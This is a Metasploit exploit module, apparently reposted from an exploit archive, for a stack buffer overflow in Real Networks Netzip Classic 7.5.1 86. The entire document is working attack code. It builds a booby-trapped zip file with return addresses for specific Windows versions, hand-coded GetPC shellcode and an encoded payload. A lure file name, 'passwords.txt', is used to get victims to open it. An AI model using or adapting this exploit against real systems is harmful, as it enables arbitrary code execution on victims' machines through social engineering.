Real Networks Netzip Classic 7.5.1 86 File Parsing Buffer Overflow

##
# $Id: real_networks_netzip_bof.rb 13952 2011-10-16 15:47:04Z todb $
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
require 'rex/zip'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking
 
    include Msf::Exploit::FILEFORMAT
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Real Networks Netzip Classic 7.5.1 86 File Parsing Buffer Overflow Vulnerability',
            'Description'    => %q{
                    This module exploits a stack-based buffer overflow vulnerability in
                version 7.5.1 86 of Real Networks Netzip Classic.
                In order for the command to be executed, an attacker must convince someone to
                load a specially crafted zip file with NetZip Classic.
                By doing so, an attacker can execute arbitrary code as the victim user.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'C4SS!0 G0M3S', # Vulnerability discovery and original exploit
                    'TecR0c <roccogiovannicalvi[at]gmail.com>', # Metasploit module
                ],
            'Version'        => '$Revision: 13952 $',
            'References'     =>
                [
                    [ 'BID', '46059' ],
                    [ 'URL', 'http://proforma.real.com' ],
                    [ 'URL', 'http://www.exploit-db.com/exploits/16083/' ],
                ],
            'Platform'          => [ 'win' ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'thread',
                },
            'Payload' =>
                {
                    'Space'         => 1000,
                    'BadChars'      => Rex::Text.charset_exclude(Rex::Text::AlphaNumeric),
                    'DisableNops'   => true,
                    'EncoderOptions' =>
                        {
                            'BufferRegister' => 'ESI'
                        }
                },
            'Targets'        =>
                [
                    [
                        'Windows XP SP3',
                        {
                            'Offset' => 247,        # To EIP
                            'Ret'    => 0x10061cf9, # PUSH ESP # RETN 08 - NPSYSTEM.dll 7.5.1.86
                            'Max'    => 2000,       # Max buffer size
                        }
                    ],
 
                    [
                        'Windows 7/Windows Vista',
                        {
                            'Offset' => 248,        # To EIP
                            'Ret'    => 0x10061cf9, # PUSH ESP # RETN 08 - NPSYSTEM.dll 7.5.1.86
                            'Max'    => 2000,       # Max buffer size
                        }
                    ],
                ],
            'DisclosureDate' => 'Jan 30 2011',
            'DefaultTarget'  => 0))
 
            register_options(
            [
                OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip']),
                OptString.new('CONTENTNAME', [ true, 'Name of the fake zipped file', 'passwords.txt']),
            ], self.class)
 
    end
 
    def exploit
 
        buffer = "#{datastore['CONTENTNAME']}"
        buffer << ' ' * (target['Offset']-buffer.length)
        buffer << [target.ret].pack('V')
        buffer << make_nops(8)
 
        # GetPC - Non ascii characters get converted
        buffer << "\x89\x05"   #jmp short (5 bytes) to 'jmp back' at end
        buffer << "\x5e"       #pop esi
        buffer << "\x41"       #nop (inc ecx)
        buffer << "\x98\x99"   #call esi
        buffer << "\x41"       #nop (inc ecx)
        buffer << "\x8a\x94\x98\x98\x98"  #jmp back to pop esi
        buffer << payload.encoded
        buffer << rand_text_alpha(target['Max']-buffer.length)
 
        zip = Rex::Zip::Archive.new
        xtra = [0xdac0ffee].pack('V')
        comment = [0xbadc0ded].pack('V')
        zip.add_file(buffer, xtra, comment)
 
        # Create the file
        print_status("Creating '#{datastore['FILENAME']}' file...")
 
        file_create(zip.pack)
    end
 
end



#  0day.today [2018-01-05]  #